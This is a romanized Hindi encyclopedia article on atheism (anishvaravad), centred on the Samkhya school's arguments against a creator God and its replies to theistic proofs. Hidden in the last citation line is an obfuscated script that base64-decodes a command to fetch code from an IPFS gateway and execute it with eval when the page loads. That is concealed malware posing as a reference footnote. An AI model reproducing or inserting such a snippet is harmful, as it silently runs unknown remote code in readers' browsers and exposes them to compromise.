अनीश्वरवाद
yogadarshanakar pantajali ne atma aur jagath ke sambandh mean saankhyadarshan ke siddhantoan ka hi pratipadan evan samarthan kiya hai. unhoanne bhi ve hi pachchis tattv mane haian, jo saankhyakar ne mane haian. isilie yog evan saankhy darshan donoan mote taur par ek hi samajhe jate haian, kintu yogadarshan ne kapil ki apeksha ek aur chhabbisavaan tattv purush vishesh athava eeshvar bhi mana hai. is prakar ye saankhy ke anishvaravad se bach ge haian.
satkaryavad siddhant
saankhyadarshan satkaryavad siddhant ko manata hai. tadanusar aisi koee bhi vastu utpann nahian ho sakati, jo pahale se astitv mean n ho. karan ka arth keval phal ko spasht roop dena hai athava apane mean sthit kuchh gunoan ke roop ko vyakt karana hai. parinam ki utpatti keval karan ke bhitari parivartan se, usake paramanuoan ki nayi vyavastha ke karan hoti hai. keval parinam evan karan ke madhy ki ek sadharan badha door karane matr se manovaanchhit phal prapt hota hai. kary sath hai, vah karan maian pahale se upasthit hai, parinam lane ki cheshta ke poorv bhi parinam karan mean upasthit rahata hai, yatha alasi mean tel, patthar mean moorti, doodh mean dahi evan dahi mean makkhan. ‘karan vyapar’ keval phal ko avirbhoot karata hai, jo pahale tirohit tha.
prakriti ka sarvajn
kshamatanusar sabhi pravrittiyaan svarth (apane vaste) hoti haian, ya pararth (doosare ke vaste). prakriti to j d hai. isako apane prayojan aur doosare ke prayojan ka kuchh jnan nahian hai. tab isaki pravritti kis tarah hogi. yadi kahean ki chetan jivatma adhishthata hokar pravritti kara dega to yah bhi nahian banata, kyoanki jivatma prakriti ke sampoorn roop ko janata nahian, phir usaka adhishthata kis prakar ho sakata hai? isilie prakriti ki prakriti ke lie sarvajn adhishthata eeshvar ko manana chahie. kintu is tark se eeshvar ki siddhi nahian hoti, kyoanki poornakam eeshvar ka apana kuchh prayojan nahian hai, phir bhi vah apane vaste, ya doosare ke lie jagath ko kyoan rachega?
saankhy-siddhant
buddhiman purush ki pravritti nij prayojanarth, apane hi lie sambhav hai, any ke lie nahian. yadi kahe ki daya se nishprayojan pravritti bhi ho jati hai, to yah bhi sambhav nahian hai. kyoanki srishti se pahale koee prani nahian tha, phir kisake du:kh ko dekhakar karuna huee hogi? yadi eeshvar ne karuna ke vash hokar srishti ki hoti to vah sabako sukhi hi banata, du:khi nahian. par aisa dekhane mean nahian ata, apitu jagath ki srishti vichitr dekhi jati hai. yadi kahean ki jivoan ke karmadhin hokar eeshvar vichitr srishti karata hai, to karm ki pradhanata huee, phir bakari ke gale ke nishprayojan stan ki tarah eeshvar manane ki koee avashyakata nahian. is prakar saankhy ka siddhant hai ki eeshvar ki satta mean koee praman upalabdh nahian hai, at: usaki siddhi nahian ho sakati (eeshvarasiddhe:).
anishvaravad' darshan ka vah siddhaant jo jagath ki srishti karane vale, isaka sanchalan aur niyantran karanevale kisi eeshvar ki satta ko svikar nahian karata (dr. 'eeshvaravad'). anishvaravad ke anusar jagat svayansanchalit aur svayanshasit hai. eeshvaravadi eeshvar ke astitv ke lie jo praman dete haian, anishvaravadi un sabaki alochana karake unako kat dete haian aur sansaragat doshoan ko batalakar nimnalikhit prakar ke tarkoan dvara yah siddh karane ka prayatn karate haian ki aise sansar ka rachanevala eeshvar nahian ho sakata.
eeshvaravadi kahate hai ki manushy ke man mean eeshvar pratyay janm se hi hai aur vah svayansiddh evan anivary hai. yah eeshvar ke astitv ka dyotak hai. isake uttar mean anishvaravadi kahate haian ki eeshvar bhavana sabhi manushyoan mean anivary roop se nahian paee jati aur yadi paee bhi jati ho to keval man ki bhavana se bahari vastuoan ka astitv siddh nahian hota. man ki bahut si dharanaoan ko vijnan ne asiddh pramanit kar diya hai.
jagat mean sabhi vastuoan ka karan hota hai. bina karan ke koee kary nahian hota. karan do prakar ke hote haian-ek upadan, jisake dvara koee vastu banati hai, aur doosara nimitt, jo usako banata hai. eeshvaravadi kahate haian ki ghat, pat aur gh di ki bhaanti samast jagath bhi ek kary (krit ghatana) hai atev isake bhi upadan aur nimitt karan hone chahie. kuchh log eeshvar ko jagat ka nimitt karan aur kuchh log nimitt aur upadan donoan hi karan manate haian. is yukti ke uttar mean anishvaravadi kahate haian ki isaka hamare pas koee praman nahian hai ki ghat, pat aur gh di ki bhaanti samast jagath bhi kisi samay utpann aur aranbh hua tha. isaka pravah anadi hai, at: isake srashta aur upadan karan ko dhooandhane ki avashyakata nahian hai. yadi jagat ka srashta koee eeshvar man liya jay jo anek kathinaiyoan ka samana karana p dega; yatha, usaka srishti karane mean kya prayojan tha? bhautik srishti keval manasik athava adhyatmik satta kaise kar sakati hai? yadi isaka upadan koee bhautik padarth man bhi liya jay to vah usaka niyantran kaise kar sakata hai? vah svayan bhautik sharir athava upakaranoan ki sahayata se kary karata hai athava bina usaki sahayata ke? srishti ke hue bina ve upakaran aur vah bhautik sharir kahaan se ae? aisi srishti rachane se eeshvar ka, jisako usake bhakt sarvashaktiman, sarvajn aur kalyanakari manate haian, kya prayojan hai, jisamean jivan ka aant maran mean, sukh ka aant du:kh mean sanyog ka viyog mean aur unnati ka avanati mean ho? is du:khamay srishti ko banakar, jahaan jiv ko khakar jiv jita hai aur jahaan sab prani ek doosare shatru haian aur apas mean sab praniyoan mean sangharsh hota hai, bhala kya labh hua hai? is jagath ki durdasha ka varnan yogavasishth ke ek shlok mean bhali bhaanti milata hai, jisaka ashay nimnilikhat hai--
kaun sa aisa jnan hai jisamean trutiyaan n hoan, kaun si aisi disha hai jahaan du:khoan ki agni prajvalit n ho, kaun si aisi vastu utpann hoti hai jo nasht honevali n ho, kaun sa aisa vyavahar hai jo chhalakapat se rahit ho? aise sansar ka rachanevala sarvajn, sarvashaktiman aur kalyanakari eeshvar kaise ho sakata hai?
eeshvaravadi ek yukti yah diya karate haian ki is bhautik sansar mean sabhi vastuoan ke aantargat, aur samast srishti mean, niyam aur uddeshyasarthakata paee jati hai. yah bat isaki dyotak hai ki isaka sanchalan karanevala koee buddhiman eeshvar hai is yukti ka anishvaravad is prakar khandan karata hai ki sansar mean bahut si ghatanaean aisi bhi hoti haian jinaka koee uddeshy, athava kalyanakari uddeshy nahian jan p data, yatha ativrishti, anavrishti, akal, badh, ag lag jana, akalamrityu, jara, vyadhiyaan aur bahut se hiansak aur dusht prani. sansar mean jitane niyam aur aiky drishtigochar hote haian utani hi aniyamitata aur virodh bhi dikhaee p date haian. inaka karan dhooandhana utana hi avashyak hai jitana niyamoan aur aiky ka. jaise, samaj mean sabhi logoan ko raja ya rajyaprabandh ek doosare ke prati vyavahar mean niyantrit rakhata hai, vaise hi sansar ke sabhi praniyoan ke oopar shasan karanevale aur unako pap aur puny ke lie yatana, dand aur puraskar denevale eeshvar ki avashyakata hai. isake uttar mean anishvaravadi yah kahata hai ki sansar mean prakritik niyamoan ke atirikt aur koee niyam nahian dikhaee p date. pap aur puny ka bhed mithya hai jo manushy ne apane man se bana liya hai. yahaan par sab kriyaoan ki pratikriyaean hoti rahati haian aur sab kamoan ka lekha barabar ho jata hai. isake lie kisi aur niyamak tatha shasak ki avashyakata nahian hai. yadi pap aur puny ke lie dand aur puraskar ka prabandh hota tatha unako rokane aur karanevala koee eeshvar hota; aur punyatmaoan ki raksha hua karati tatha papatmaoan ko dand mila karata to eesamasih aur gaandhi jaise punyatmaoan ki nrishans hatya n ho pati.
is prakar anishvaravad eeshvaravadi sooktiyoan ka khandan karata hai aur yahaan tak kah deta hai ki aise sansar ki srishti karanevala yadi koee mana jay to buddhiman aur kalyanakari eeshvar ko nahian, dusht aur moorkh shaitan ko hi manana p dega. pashchaty darshanikoan mean anek anishvaravadi ho ge haian, aur haian. bharat mean jain, bauddh, charvak, saankhy aur poorvamimaansa darshan anishvaravadi darshan haian. in darshanoan mean di gee yuktiyoan ka suandar sankalan haribhadr soori likhit shaddarshan samuchchay ke oopar gunaratn ke likhe hue bhashy, kumaril bhatt ke shlokavartik, aur ramanujachary ke brahmasootr par likhe ge shribhashy mean paya jata hai.[1]
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tika tippani aur sandarbh
(pustak ‘hindoo dharmakosh’) prishth sankhya-30
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 119 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>